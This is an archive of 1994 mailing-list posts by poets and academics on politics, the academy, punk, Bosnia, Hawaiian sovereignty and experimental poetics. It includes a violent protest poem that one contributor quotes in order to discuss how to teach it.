Jeffrey Timmons

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88. Jeffrey Timmons
Re: Eagleton Quote
Wed 7 Dec 1994

On Thu, 1 Dec 1994, Steve Evans wrote:

> *I am not a terrific fan of Terry Eagleton's, but his answer to Eric's question ("how do I not become a commercial") is a compelling one. In *The Ideology*

> *of the Aesthetics,* Eagleton writes:*
>
> > *If they can place your revolutionary artefacts in their banks then that means only one thing: not that you were not iconoclastic or experimental enough, but that either your art was not deeply enough rooted in a revolutionary political movement, or it was, but that this mass movement failed. How idealist to imagine that _art_, all by itself, could resist incorporation! The question of appropriation has to do with politics, not with culture; it is a question of who is winning at any particular time. If _they_ win, continue to govern, then it is no doubt true that there is nothing which they cannot in principle defuse and contain. If _you_ win, they will not be able to appropriate a thing because you will have appropriated them. The one thing which the bourgeoisie cannot incorporate is its own political defeat. (372)*
>
> *This of course recalls Benjamin's "and the enemy has not ceased to be victorious" (in "Theses")....*

I hope Steve doesn't mind me posting this again, as I believe Mark wanted this.

Jeffrey Timmons

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89. Jeffrey Timmons
Re: The Prominence and Isolation of the Academy
Wed 7 Dec 1994

Oh, I almost forgot: following up on my comments on the prominence of academics in the national spotlight, did anyone see Camille Paglia on the Conan O'brian show last night? I only caught the end of it, where she was saying that strip clubs were pagan shrines for the worship of the female form--O'brian thought that worth paying homage to (I disagree, with both him and Paglia). I have other thoughts about how these rather reacationary/conservative critics/academics are getting so much press recently--how it's connected to the Republican "landslide" (as if)--but I have to dash off to "work" now so. . . . But hey Harold Bloom's new book--Paglia his student!--seems even part of this movement of "tradition" and canon that is synonomous with the Republican values being promulgated as of late. Did you see how much coverage he got? Time, Newsweek, NYT Review of Books (I think it was that one, or another). Geez, as if he were insulated from what is going on in the world!

Jeffrey Timmons

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90. Tenney Nathanson
Re: Exile on Main Street
Wed 7 Dec 1994

On Tue, 6 Dec 1994, Mn Center For Book Arts wrote:

> *Jeffrey Timmons writes, "I would*
> *like to join my name (for what its worth) to a list of creative persons, academic sorts, who recognize the need to speak collectively about this situation in order to draw attention to it." I think a lot of our legislators would rather hear from a bunch of single constitutents rather than a list of creative, academic sorts. Both actions are worthwhile, but don't not do the single voice writing or calling. I know from experience that senators & congresspeople (& it's most important to call your local ones, for whom you are the constituent) actually do count calls & letters & keep tabs & sometimes (no, not always) it's those numbers that sway their vote or can even make them speak on the floor. That's why Working Assets giving free phone calls to them actually can help, Tenney. I know it all sounds too simple, but my goodness, let's not look for reasons not to call or write such people. They need to know that there's a radical mainstream experimental poetics group which cares about Bosnia, too.*
>
> *charles alexander*

Point taken. But I think in general I'd still agree w the Baudrillard point: that any time your opinion is solicited, esp. around a yes/no toggle, it's very likely that the question has been formulated in such a way as to make the effects of the "answer" not very efficacious (and also: that the questions tend to get formulated or re-formulated in such a way as to distribute the answers toward 50/50: a great centralizing and inertia-producing mechanism): or: is there "more" or "less" "public opinion" in the polling era than in the pre-polling era? Or as Prodigy likes to put it: "Is O.J. Guilty? YOUR VIEWS" (which gets you to a screen in which you toggle yes/no to a lot of prepared pollster questions). WHich doesn't mean I don't vote or don't phone "my" congressperson. Tenney

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91. Steven Howard Shoemaker
Re: Punk
Wed 7 Dec 1994

George Bowering writes:
>
> Was Punk at one time something other than entertainment?

Yes. It was (mebbe still is somewhere & for some bodies) a collection of attitudes, a subculture, a community--not so very different from what "this" is. Songs like the Dead Kennedy's "Winnebago Warrior" or Black Flag's "TV Party" offered, believe it or not, trenchant (and amusing) critiques of media, consumer culture, & ecotyranny before i got around to Benjamin, Baudrillard etc. The "zines" sold outside punk clubs were my first exposure to do-it-yourself "alternative press" publications, wherein kids (somtimes as young as 10 or 11 as i recall) tried their hand at reviewing records and concerts for themselves, casting their thoughts into editorials on serious political & moral issues, drawing comix, "networking" etc. In fact, the do-it-yourself ethic (something cultivated on this list?) was one of punk's strongest appeals--breaking down the boundaries between audience and performer (as the mosh pit encroached on the stage) etc. etc. I cld go on about its meaning as a "social formation" in my life, at a time when it looked as if the world wld blow itself to bits any day, but I'll stop here for now...

Did it escape commodification as "entertainment"? Not by a long shot--and that process, as other G1-ers (erk, i really hate that appellation) here have suggested, was sometimes a painful and disillusioning one. Even so, it didn't erase the other things that punk was. Is jazz anything other than "entertainment"? How about poetry?

steve shoemaker

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92. Tony Green
Re: Exile on Main Street
Wed 7 Dec 1994

Ron, it puts me at your fingertips? Don't forget the "and vice-versa". I welcome Charles Bernstein's long long list. Many of these are familiar. I could add a few to that, combining translation and dice-driven letter group changes etc. the use of only symmetrical capital letters for every word of a text.....

I've been reading The Best of George Gershwin. And Alvy in Woody Allen's Manhattan invited to go see some Sol Le Witt's replies " Yes, that would be fun". And, for a whole lot of other reasons too, there is one little point that needs making. Writing poems is easy, as we all know. Writing poems that we woiuld have others hear, as we would read them off our bit of paper at a lectern, or in the street, (as Ron has, as I have too) or recite in a crowded room on some occasion, and then think of there being others who might read them or recite them, is to turn from the Writing Room (Scene 1) to the Pub(L)ic arena (Scene 2) and there is immediately not only a {POLI-TICS} but an EROTICS.

Questions?

"They're writing songs of love, but not for me...."

If PLEASURE of the Tongue and of the Ear and of the tickled Brain is not forthcoming, who'd dream of listening to poetry ever again, (or read it). The only claim of poetry on the others around the poet is that it gives a variety of pleasures. It MAY -- WELL -- (well?) -- BE the CASE thAT marginalization has occurred not strategically or tactically but by ignoring this simple enough sounding "fact".

Writing poems is necessary because last week's poems no longer satisfy the poet. Last month's may still satisfy the poet's friends. (But why aren't the Gershwin brothers anthologized?)

What is this "compradore" poetry of Ron Silliman's?

Why is seriouu poetry not supposed to take place in cabaret, only in class-rooms? It doesn't make much odds what humanitarian causes poetry advertises. It's the whole jingle inserted into the political jungle of publication (printed, electronic or "sung" aloud) that works an effect on people (e.g. indifference, tomato-throwing, jeers or cheers).

I strongly recommend in the light of all this that poets get back to business. If, as seems to be the case that we are enclosed hopelessly (oy weh!) in a Social that is Show-Biz (! I like that ?) Show-Biz is necessarily the only way to go, but poetry can need it's own spaces, e.g.St Mark's may be, Ear Inn, as well as get out into more Public Spaces, owned and operated by others etc. It's not fame or money, but the honour of the practice of this amazing craft, that is motive.

(Motive enough!)

Doing poetry in public is highly political. There are splendid models available in the fifties and sixties for vigorous performance and writing in public spaces. Then "daring" to say what goes unsaid, out of pressure of business corporations or educational corporations (oops, sorry, I mean universities in their current state forms), is what counts, and there those who are well-versed in researches into what really happens in Bosnia etc can do their thing, like crazy.

As for intervention, Wystan Curnow and Alan Loney and I, armed with slug-guns only are off to make peace in Bosnia to-morrow. It's really so simple, after all we're Kiwi Kids, we can do it....(Wystan and Alan don't know this yet).

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand

Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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93. James Sherry
Re: The National Question, etc.
Wed 7 Dec 1994

Re Ron's lengthy and gestural response I have much agreement but a couple of concerns that concern us as poets. If Ron is worried that the University is too isolated, how can we view the poetry community. At the University you have to negotiate between administration, staff, teaching staff and the students. In the poetry world we can't even agree among a group of people who by virtue of common interests and experience in their "chosen" endeavor should by all rights agree.

But we don't. I would attribute the issues in the poetry community to our ideas. Not that they are good or bad, but that if the most of the world treat property as value, we treat ideas as value and as such hoard them as surely as the miser hoardes gold and claim them as ours and if a difference of a word or two crops up, create a stink that would clear out the skunk farm. Distinctions, differences, adjustments to distinctions. Where's the beef and Marjorie might say...

Second, the use value of Marxisms being in doubt right now, we have a chance to carve out some relationships between its dualisms and the three pronged arguments about ecology and the four sided arguments about personalities and the five sided discussion in the systems universe about types of social groupings until we were blue in the face.

We do seem to be in agreement that nation states hardly exist as other than coffers of resources for transnationals. The refusal of the left to support a nation state in the Prop 187 argument is proof that we are internationalists regardless who is running the show. One species on the planet and eventually one set of leadership. It is up to each of us to contribute to the fact of internationalism in our own way. I for one am interested in shaping it rather than resisting a faite accompli. JAMES

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94. Tom Mandel
Exile on Strained Meat : or notes on professions, academic etc.
Wed 7 Dec 1994

It has taken me a couple of hours to read (at least partly) the extraordinary number of contributions to this list which have arrived in cyberlitterland over

the last couple of days. My survival, i.e. time enough to pay the bills and make money enough to do so, depends on you cutting it out.

1. For 5 years during WWII neither the English nor any other allied power laid an intentional single bomb across the railroad tracks that led how many thousands of jews gypsies gay people per day? to doom. Does this make them thugs?

2. I was a grad student for 6 years, have taught in 3 universities, have worked for large corporations, as well as quasi-gov'tal organizations, and have written and lived poetry off and on all my life. Without question, and by metaphorical orders of magnitude, the most serializing, cutthroat, thoughtless and non-oppositional (i.e. slavish) environment I ever lived in was the academy. Lagging far behind is the world of poetry, although as poets move into the academy some of them unveil an extraordinary capacity to take on that local color (and others, on the other hand, retain the exceptional generosity of nature and act that will make you know whom I mean *not* to be commenting on). There is a strong sense of comradeship among poets somehow, at least I have always noted it, which mediates if not moderates the lust for... any response honor position the opportunity to make a living by your wit of words, whatever. This comradeship I think it is which allows a poet like Henry Taylor to write so meaningly about Jackson Maclow, and which allows me to enjoy getting to know HT despite thezero in common of our work. Much more open, all the same, much more egalitarian, much more permissive of range has been the world of commerce. I remember how shocking, and somehow wrong, I found that fact.

3. The above is what James Sherry might call a "theory based on memory... not analysis" (that's a paraphrase rather than a quote, but close I think). All theories are of memory (a term whichwe need not trivialize) and on the other hand, analysis (despite the brilliant series of posts by James which had me gasping with pleasure to keep up with) is a meaningless term, an honorific in any case, and a metaphor (understand by dividing : divide and conquer, really) of little application. Recursive systems (i.e. memory-based and developmental in whatever chaotic way) offer the ability to accumulate insight at some social level; they are what can get us beyond MThatcher's "no society, just individuals" position.

4. What I say in point 3 is intended to make you understand that what I say in point 2 is true.

5. I've been fired from positions both academic and in commerce, in both cases (repeatedly, by the way) for the same reason, for having an idea. In commerce, at least usually, it was because the idea didn't work. In the academy? Just for having an idea.

6. When I quoted Hugh of St. Victor on exile, it was not so that you (dear reader) should have your consciousness perfected by the right position, but that you might take in and "experimentally" share a response. Again, the goal is to accumulate and distribute some largest possible sense of human response. Nothing is more foolish than to spend one's days distinguishing between on the one hand vulgar marxism and on the other hand a marxism appropriate to the changes in the organization of capitol. None of us can know at all what the structure of capitol is. For one thing we are part ofit, for another only a bounded thing can be "analyzed" (but, see above), and it is not that. And, finally, why do we wish to constrain the mind to appropriate response, when it is the mind that makes that world of capitol. Make something else.

7. I now work for myself. That's what I learned. If anyone would pay me, I'd teach for myself (I do seem to know a great deal; drop over some time - you probably know a lot too), but they don't so instead packet filtering routers, virtual circuits, negotiation, managing payables and receivables, closing complex deals, usw. are my daily fun, and I do mean that. They call for no analysis. James, at least so I think, knows about such devices too. Having known each other for going on 2 decades, you might wonder why we've never worked together.

8. Grad student, quit school. But, I can't tell whether Steve Evans or Patrick Phillips or Jeffery Timmons or Eric Pape or others (very few women, very little evidence of a point of view of color, very little sense of a specifically Jewish pov, very little in any sense specific to anything whatever, informed by anything not on the other guy, yeh guy's reading list. If you are on faculties, quit. Anyway, Ron's right; your industry is heading for a collapse, it has lost all justification.

9. Paul Hoover's position is overwhelmingly informed by work he has done to know, accept and make use of his own sources. Ditto Ron Silliman. These positions are without irony, unhidden in trashy even disgraceful joking that there is no relationship between your person and your position, as if these were different in some principled way.

10. We all have a responsibility, a political responsibility, to make something (dare I use the word?) positive, i.e. existent and contributory to the larger thing which is merely the contributory nature of all that is positive. This means pleasure in writing and a sense of the permission of form beyond theory as the only real contact we have with the unknown, i.e. with value. As above, this is a recursive procedure; it can be justified by nothing outside it. Without being local (i.e. Serbian or Croatian : bonnet blanc, blanc bonnet), it is endlessly specific. Attending to it is a discovery, uncovering, of more specificity.

11. Oh. In 8 above, you may think I'm being dismissive. Or glib, in advising you to quit. You have families, you have to have a job. Sure, no problem. Nor do I

take the Platonic position that a slave is one by nature or essence : if not, he'd be dead. After all, I was fired, I wasn't offed! I prefer the Jewish position, be kind to the slave. In the jubilee year, free all the slaves (what the heck, most of them will enslave themselves again). (of course, that's only one of the jewish positions, i.e. positions in the rabbinic tradition - which is always what *I* mean by the term "jewish").

12. I knew a poet once who was quite wealthy - by marriage. He lived well, by which I mean in a bohemian manner and much like the rest of us, all young enough (tho some older than others) not really to notice, to accumulate, difference from where it sprung. In any case, this poet didn't need a job. Yet, a time came when the poet wanted to work. The poet once asked me for a job, but I didn't have one to offer. Some years later, the poet decided to enter grad school, got a Phd somewhere in the humanities, and then got a teaching job and began to live very differently from how we had all lived -- in any case, we were all living differently, having gotten older, and that was no surprise. The poet's poetry hardly changed at all.

13. Because of what I say in 11, that is why I have written mildly and without wishing to give offense. It is a subject, what responsibility is taken not to articulate a position correctly but to live a worthwhile life. Don't you think it idiotic to imagine that the conditions no longer inhere for that possibility?

14. There is no such thing as silent prayer. "Oh Lord, bring the arrogant kingdom to an end, speedily and in our days." Anybody know the reference?

Tom Mandel

********** T O M M A N D E L ********** 2927 Tilden St. NW * Washington DC 20008 * Voice: [redacted] [redacted]
FAX: [redacted]
****

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95. Abby Coykendall

con in on late night

Wed 7 Dec 1994

Concerning late-night Camille
P. and C. oÕBrian bit, to whom
ever, I am in much
disagreement.
Whether Madonna or Camille,
I think it is entirely wrong to
argue with them on intellectual

grounds, esp. as an acedemic.
They are ÒpublicÓ not
ÒacedemicÓ objects,
phenomenon of mass-appeal
and thus mass-capital, and as
such, I think the former
Òmass appealÓ part takes
precedence, I donÕt dislike
people for merely making
money, only for making that
money wrongly. Camille speaks
much more to a public than we,
acedemics, she has more public
to speak to. In being _feminist_
she can be highly hazardous, or
quite good. I think sheÕs the
later. I think she makes naive
arguments that I donÕt agree
with. I think if she made
complex, good, truly smart
arguments that I liked,
she wouldnÕt be on the Conan
oÕB show. I want her to be on
that show.
I want somebody in the media
who has some audacity and dare
calls herself a, god forbid,
__feminist__ which very
seldemly gets good press. I
want that person to
acknowledge that there are
many types of feminism, so as
not to make one (bad)
thing of it. I want this so when I
introduce my students to it
[them], I donÕt have to spend
too much time not using the
(bad) word, which has gotton
quite bad press. I have (now at
the end of the semester) many
who are quite radical feminists
who still refuse to call

themselves __feminist__
because of this bad press.
Camille P. did me a favor.
Camille P. is one of the only
women IÕve seen on ConanÕs
show who is not just sexy,
but smart (however naive).
Has smart things on her mind,
rather than hidding them in
some fashionable outfit.
As to the Òpagan worshipÓ
thing.
I thought that quite funny.
Funny is something expected
on late night TV.
This funny happened to be
slightly untrue.
I truly donÕt care.
Women do have (more power
than is thought) in strip bars.
Than is thought.
Than is thought. The media
generally thinks their body is
there most powerful. Their
body is their most powerful. As
power, the womenÕs is most
often there.
It is true that women are not just
victimÕs, they have more power
than is thought. Camille was
undoing this thinking, not
making a very intellectual
statement. As a public
statement goes, it was good.
As something to say to a
woman, it might have been
great: take control of your body,
your self. Make yourself get
out of that usually scripted role
of victim. Make yourself into a
new script.
This is okay public speak.

Makes bad acedemic press.
-------abby c.

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96. Donald J. Byrd
Experiments
Wed 7 Dec 1994

Dear Charles--

I suppose you in part posted the list of experiments as an homage to Bernadette, and of course I wish her well.... And it is also a tribute to Tzara, Cage, and Mac Low, all of whom I would likewise honor.

Although, as you know, I sometimes--perhaps often-- do not agree with you, I take your work very seriously. I find most of your moves in relation to the art generative--decisively so. And I have attempted to understand why you introduce these "experiments" in the context of your of your proposal of poetry as experimentation.

The use of that kind of experiment, when it was of use, was to rend the placid, rational surface of smug and placid rationalism. There was a powerful, even controlling assurance, that the world made sense. One half of Modernism was commitment to the revelation of precisely that sense--Yeats, Pound, Joyce, Shoenberg, Anglo-American philosophy from Russell and Wittgenstein to Quine and the Cognitive Scientists. It is sadly reduced but the drivel that comes from most Creative Writing programs to this day still basks in that now grim assurance that because I saw a blue jay on a maple branch take a shit, it most have some true and important connection to my thought of mortality.

The irruption of the irrational and its disruption of that smug sense of the world--whether from the Dadaist/surrealist algorithms of non-sense or from the failure to make it cohere by the like of Pound-- was immensely satisfying and, of course, immensely productive.

The mode of production that had proven so successful in art was adapted in the 1950's also to commercial production. The rational machine of the capitalist economy began exploiting its own material unconscious, thus, fueling unparalleled economic growth. The surface of the earth was increasingly covered with the chaotic residue of riotous production: the production of art, the production of consumer

goods, the production of by-products that polluted the environment, the production of what Smithson called "the slurbs"P"a circular gulf between city and countryPa place where buildings seem to sink away from one's visionP buildings fall back into sprawling babels or limbos. Every site glides away toward absence. An immense negative entity of formlessness displaces the center which is the city and the swamps."

For the generation of artists born of the World War II-- "born dead," Smithson says of them, everything they'd learned was wrong. The techniques of the artists who had interested them in art in the first place, whom they had admired and thought to imitate, turned out to be inappropriate to this new condition. Dadaism lives: it is taught at in the Harvard M.B.A. program. Surrealism lives: it is taught to computer programmers at M.I.T. (some might say, mathematics has proven so strange, that it is taught even in the math department). Our architects, our lawyers are modernist purveyors of chaos (to say nothing, of course, of the faceless committees which generate what we call the media). After a certain point, chaos no longer needed the help of art. To recall wild nature in tranquility, to practice nihilistic techniques of art and thought, to do automatic writing, or to create chance generated art is a pointless gesture. The techniques that delivered fresh air in 1810 or 1910 contributed (though contributed insignificantly) by 1970 to a proliferation of incomprehensible energy. The Dadaists never managed to exhibit the degree of chaos that Smithson records in his snap shots of Passaic, New Jersey.

It seems to me that these experiments at this late date call us back to means that are as exhausted as the means of a poetry that still attempts to make "ordinary" sense of a world where one watch a blue jay crap and thinks of mortality or Aunt Minnie.

If we are going to experiment, let us experiment with all seriousness. Stephen Hawking concludes _A Brief History of Time_ with these words:

"... if we do discover a complete theory, it should be understandable in broad outline by everyone, not just a few scientists. Then we shall all, philosophers, scientists, and just ordinary people, be able to take part in the discussion of the question of why it is that we and the universe exist. If we find the answer to that , it would be the ultimate triumph of human reason--for then we would know the mind of God."

To be sure, there is something very slippery in Hawking and those who make similar arguments (this guy Frank J. Tippet who has a very popular reading of physics right now is

a real hoot) in that they confuse their representations for the world (as many writers make the opposite mistake). But I cannot help but notice the disparity between Hawking's hoped for result and the hoped for results in doing cut-ups of _Being and Time_ and _The National Enquirer_.

It seems to me that if poetry is going to be taken seriously, it is going to have to ask more of itself. I would suggest that we take Parmenides, Lucretius, and Blake--Blake the thinker-- as our models. It is going to be tough to teach the Workshop to do that, and we do not have much time, but we have time for nothing less. If no one writes a poem for fifty years that is okay. There was plenty of pass-times.

I do not mean that we can write _like_ Parmenides, Lucretius, and Blake, but we might undertake the task of producing a world that offer the commodious possibilities for knowledge that theirs do.

The notion of avant-gardism and avant-garde experimentalism are profoundly progressivist. Even as the avant-guardists explored the most primitive recesses of culture and mythology, or the depths of dream and intoxication, systematic or random disorganization, the orientation was toward an expansion of consciousness into the unknown. The avant-gardists were the imperialists of the spirit, brothers and sisters to the colonists. The parallels between Walt Whitman's adventures into the soul and the United States adventures on its passage to India cannot be dismissed. Just as the modernists travelled along with the colonizing anthropologoists. It is not for us now a matter of judgement. The time is long passed, and we can say only that that something, which had been lurking in human possibilities, hidden, made itself powerfully manifest: it was beautiful, unjust, vicious, and inevitable, and now complete. One cannot imagine the usefulness of such a concept in a world devoted to sustainable uses of resources.

The best assessments of the ecological damage are produced by different models and do not give consistent results. It would seem that after this extended period of cultural sacrifice for the sake of developing representational techniques that are accurate and complete it should be possible to model the world environment with considerable accuracy. The various representations, however, give a remarkable range of results, and we do not have a science for determining which representation is the best. We have theories and theories of

theories, but in this most significant of matters, where the stakes are all or nothing, we do not know any thing for certain. It is generally clear, however, that the present industrial- environmental practices cannot be continued indefinitely without causing irreversible damage to the world ecosystem. In 1990, the well respected World Watch Foundation estimated that present trends would cause irreparable damage in forty years. Even if we have five times that long we are already in the crisis.

Certain aspects of desire were regimented (often at great personal cost) in the service of an organization devoted to greed. Communism proposes a greater justice in dividing up the booty, but it too is profoundly progressivist. What was repressed and is still effectively repressed is in fact obvious: the finitude of the earth.

For a very long time in the West we tried to base knowledge on the notion of infinitude. The critique of that notion has left art almost totally befuddled and trivial.

Let us begin with the finitude of the earth. This seems fairly secure knowledge, the grounds for a new epos. Over a century ago, John Ruskin wrote:

"The real science of political economy, which has yet to be distinguished form the bastard science, as medicine from witchcraft, and astronomy from astrology, is that which teaches nations to desire and labor for the things that lead to life, and which teaches them to scorn and destroy the things that lead to destruction."

How, Charles, do we get it all out of the poetry workshops?

Best,

Don Byrd

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97. **k.lindberg**

Re: Exile on Main Street

Thu 8 Dec 1994

I shall gather materials for those interested, re: Bosnia Herzegovina group in London, New York . Etc. This will take me a day,since my books are with my addresses in an office I can't reach at the moment. Let me just say, though, that Civil War is a LOADED term. The war, acknowledged by all and espcially by the UN even in the first phases of the war, which meant in Croatia and even Slovenia, was a war of aggression. After all, though Slovenia, Croatia, and

Bosnia seceeded (also a complex story) from the Yugoslav Federation, Serbia, principal in the JNA (Yugo. National Army) had vitually all the military bases and weapons. Anyway, there is a great deal of information and misinformation to dig through. This is hard stuff, but difficulties of communication and accurate political assessment should not keep us/one from venturing forth, at least as far as trying to get a fix on part of a whole scary kindling to another ethnonationalist conflagration.

More to follow, but meanwhile. . . It does help to contact legislators individually; it also helps to contact "contact groups" and the representatives of govt's of former Yugoslavia. There are Bosnian missions and Croatian embassies in several cities; New York being principal here as always.

As I mentioned, I shall get useful information to those interested. I am sorry that it might be a few days, but I am tripping through a very complex moment in my life. TRIPPING in the sense of falling and catching my step, not in what is now a very old San Francisco acid sense.

I do think that it behooves poets and philosophers (funny work,that last) to (seek to) address THE WORLD, from which there is no escape, anyway. Discussions of Marxism, as much as they escape concern over academic or p.r. capital, are most important. However, given the complex investments, both utopian and intellectual, in Tito's Yugoslavia, ironies abound if one attempts to reconcile such discussions with the war.

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98. k.lindberg
Re: Exile on Main Street
Thu 8 Dec 1994

James Sherry's observations about the cost of war profiteering and the skewed and screwed hopes of the young men and the very old men (in Serbia, Croatia, all over the former USSR) are quite to the point. Once again, after all the World War(s) and hot little distractions in outposts of various empires, war is the bloody displacement of desire, the means by which a few extract too much from so many. It's an ugly scene over there; nearly as simple as thugs with no power feeling the illusory power of being able to sign on to consumerism, the perfume, as Duchamp might say, of the atalier, no, as Marinetti would say the abattoirs. That is no thin line.

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99. Tenney Nathanson
Re: Eagleton Quote
Thu 8 Dec 1994

I just devised a fancy little macro (most of you probably have a system-generated function to do this) to gather up, automatically, all the POETICS missives in my INBOX and slide them over to HOLDPOETICS, till I have time to read them--so I can see my un-cyber-bounced mail once the pruning has been done. Just auto-toted over 54 messages in the last 36 hours or so (most not short, nuther). The joint jumpin'....

(so much for Eagleton?)

Tenney

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100. Tenney Nathanson
Re: Exile on Main Street
Thu 8 Dec 1994

On Wed, 7 Dec 1994, Alan Golding wrote:

> *Associate Professor of English, U. of Louisville*
> *Phone:* [redacted]*; e-mail:* [redacted]
>
> *Eric:*
>
> *If you get caught being sympathetic to abusers of barnyard animals, think of the good company you'll be in--see Olson, "There Was a Youth Whose Name Was Thomas Granger."*

"and no use made of any part of them" (sigh)

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101. George Bowering
Re: Punk
Thu 8 Dec 1994

Dear SHS,

Thanks for the good words on Punk. I didnt pay much attention to it, though my great friend Greg Curnoe did seriously. I suppose that the whole ethos and maybe the words in (smudgy) print were interesting, and oppositional in a useful way. I dont know. I understood what they were saying when they insisted on poorly-played two chords and all. But really, I didnt want to listen to a song twice.

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102. Ron Silliman

Re: Exile on Strained Meat : or notes on professions, academic etc.

Thu 8 Dec 1994

"Thug" is derived from "thag," a Hindi word for cheat or swindler and was introduced into English in the 17th Century to refer to the *p'hansigar* -- professional robbers who strangled their victims, an enterprise known as "thugee."

It was adapted in the 19th century to refer to any form of organized domestic terrorism, from street gangs to "electoral thugs" who kept people from voting (or voting 'the wrong way'). Earliest uses in the OED suggest that the shift came when referring to Scots as thugs.

Thus the term as we know and use it is heavily tinged with the stigma of the Other (thugs are darker than "us") and coded with the practices of colonialism. It was British laws against the "race" of the Irish that were first imitated in setting up the laws of segregation in the USA.

There is a certain irony to its use in this discourse. The Serb governments (plural: Serbian Bosnia is not identical to "greater" Serbia as a political entity) are certainly fascist: using nationalism as an excuse and genocide as a practice to create a military state with an internally capitalist economy. This doesn't make saints out of either the Croats or the Muslim community of Bosnia.

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103. Eric Selinger

U'Makhniya Zedim

Thu 8 Dec 1994

Tom Mandel asked if anyone knew the reference for "Oh Lord, bring the arrogant kingdom to an end, speedily and in our days."

In my book it's "uproot, crush, rout, subdue."

Daily Shmoneh Esreh, just between
the prayers for righteous judgment and for scholars.

The question remains--why do I now keep thinking of Phil Dick's VALIS?

"The Empire never ended."

EMS

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104. Susan Schultz

Re: Exile on Strained Meat : or notes on professions, academic etc.

Thu 8 Dec 1994

Since the discussion has lately touched upon issues of nationalism and the academy (albeit in separate "strands"), I thought I'd inject some comments about the ways in which the two are intimately related in the 50th state. One of the foremost advocates of Hawaiian (as in the ethnic group, not simply the citizens of the state) sovereignty is Haunani Kay Trask, head of the Hawaiian Studies department at the University of Hawaii. The issue of Hawaiian sovereignty is much at the forefront of Hawaii politics at present; activists demand everything from greater self-determination under the current system to complete secession from the United States. One group moved onto an Oahu beach for over a year and raised a large sign declaring the formation of a Hawaiian state; after much arm-twisting from the state government, which needs to at least feign sympathy, the protesters were moved into a valley, where they are at least not seen (from the point of view of the governor, that is). Trask, who was educated at the University of Wisconsin, is one of the loudest advocates of sovereignty and one of the most provocative. She's recently come out with a book of essays, _From a Native Daughter: Colonialism & Sovereignty in Hawai'i_, and a book of poems, _Light in the Crevice Never Seen_, which is remarkable to me for its absolute conservatism of form and language (though Hawaiian words are sprinkled throughout). In one representative passage she points to the university as a colonial institution (from an essay, that is):

> For Hawaiians, American colonialism has been a violent process: the violence of mass death, the violence of American missionizing, the violence of cultural destruction, the violence of the American military. Once the United States annexed my homeland, a new kind of violence took root: the violence of educational colonialism, where foreign haole (foreigners, white people--the two are the same!) values replace Native Hawaiian values; where schools, like the University of Hawai'i, ridicule Hawaiian culture and praise American culture, and where white men assume the mantle of authority, deciding what is taught, who can teach, even what can be said, written, and published.

Trask has been at the center of a couple of free speech issues in the last four or five years; most recently, a cartoonist for the student newspaper took her to task for a poem from her new book, "Racist White Woman." The paper was very reluctant to publish her response to him. Her claim is that the poem is about a specific woman, so that it's not racist (and one of my students, an African-

American, got very upset that some people have taken the poem personally rather than as a response to similar feelings that have gone the other way for too long). My sense is that Trask meant to evoke such a response ("woman," after all, is generic as well as specific). Here's the poem, whose rhetoric is not at all exceptional:

> I could kick
> your face, puncture
> both eyes.
>
> You deserve this kind
> of violence.
>
> No more vicious
> tongues, obscene
> lies.
>
> Just a knife
> slitting your tight
> little heart
>
> for all my people
> under your feet
>
> for all those years
> lived smug and wealthy
>
> off our land
> parasite arrogant.
>
> A fist
> in your painted
> mouth, thick
>
> with money and piety
> and a sworn
> black promise
>
> to shadow
> your footsteps
>
> until the hearse
> of violence
>
> comes home
> to get you.

Now imagine yourselves, if you are white, teaching this poem to a group of students almost none of whom are white, who've grown up in an educational system that has persuaded them that mainland values are better than "local"

ones, and who are, therefore, many of them--well, the word ornery comes to mind. This past semester as I taught poetry from Hawaii and the Caribbean, I found myself repeatedly in situations where the overwhelming emotions of the moment made ordinary, rational, academic interventions seem fruitless. And which made my position of authority problematic, at best, since the students had an emotional investment in the material that was far greater than mine. I found that the best, or only way, to deal with it was to set the students up to debate each other, rather than to try to guide them somewhere I wanted them to go.

As for the poem, if turnabout is fair play, then where on earth do we go from here? This is what bothers me most; what is violence rhetoric in this case, is actual violence elsewhere. How can be address the nationalisms that live among us (including native American nationalisms)? How can we balance these against a larger American self-definition, whatever that may be? Yes, the world is Gattifying, becoming more and more international. But it's also becoming more and more local. The idea of the Pacific Rim actually only includes Asia and America--what happens to the islands in-between, with their self-definitions at stake? And how can university professors (my classroom, at least in this case, WAS the real world) fruitfully participate in these debates? These are not rhetorical questions!

Susan M. Schultz

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105. Tom Mandel
Re: U'Makhniya Zedim
Thu 8 Dec 1994

The point of my reference to the daily prayer of all jews that the arrogant kingdom be destroyed (an arrogant kingdom whose identity changes as time and space change the speaking [i.e. praying] voice) was, as Eric Sellinger doubtless understands, to inform with the evidence of a life practice the repeated references to the 'known" function of "religious" values/ institutions/practices, which references have about the same "positive" content as most of the references to what the other does that live in the posts and "politics" "?" of this list, i.e. little and that usually to pass along a counter of agreement, again to make sure everybody is reading the same reading list, and no new world-facts storm our interpretations.

The point of my reference to the genteel allied practice of allowing the uninterrupted operation of the great death train system of the germans, an allowance referred to from time to time in British foreign office papers as a contribution to solving "the jewish problem" to come post-war and asking

whther these were thugs was, as Ron Silliman immediately grasped and philologically supported, that there is no group whose nature character history it is to undertake what the serbians have undertaken. No, we don't know who the "thugs" are. We don't, as I fail to remember whose post had it, know who is sitting on a hill waiting for schoolchildren to enter the open so as to destroy them. We don't know, because it's not somebody different from who you are looking at whenever you are looking at the next person (nor is that intended as an accusation).

tom mandel

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106. Eric Selinger

Re: Exile on Strained Meat : or notes on professions, academic etc.

Thu 8 Dec 1994

As a former haole, back on the mainland, I'm shaken (not stirred) by that poem, Susan, and by your apt portrayal of the classroom context in which these issues often play themselves out. I gnawed a similar bone last semester, trying to choose what Baraka poems (if any) to teach in a survey course--the Heath conveniently forgets to mention any of his anti-semetic work, just as it forgets to mention Rukeyser's Jewishness, or Tillie Lerner Olsen's, raising questions in its own right.

But I digress.

Clearly this is a poem that's meant to make some of its readers buck up, validated, and others shrink and squirm, red-faced and stung. I wonder--is it the sort of poem I'm supposed to give the nod to (include in classes, etc.) as a gesture of multicultural solidarity, at least until the guns start firing and the calls for ethnic cleansing begin? Do I turn away right from the start, on the theory that I and the public know what every schoolchild learns, and that my family and I might not be first up against the wall when the revolution came, but we'd be on the wrong side of history nonetheless? Is this a case--since Tom Mandel asked about positionally "Jewish" responses--in which Deut. 23:3 comes into play: to let the students hash it out without specifically addressing its threat to you and connection with all kinds of bad stuff worldwide falls under the heading of "showing deference to a poor man in his dispute"?

Questions, questions. Will muse on this.

EMS

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107. eric pape
Academy, etc.
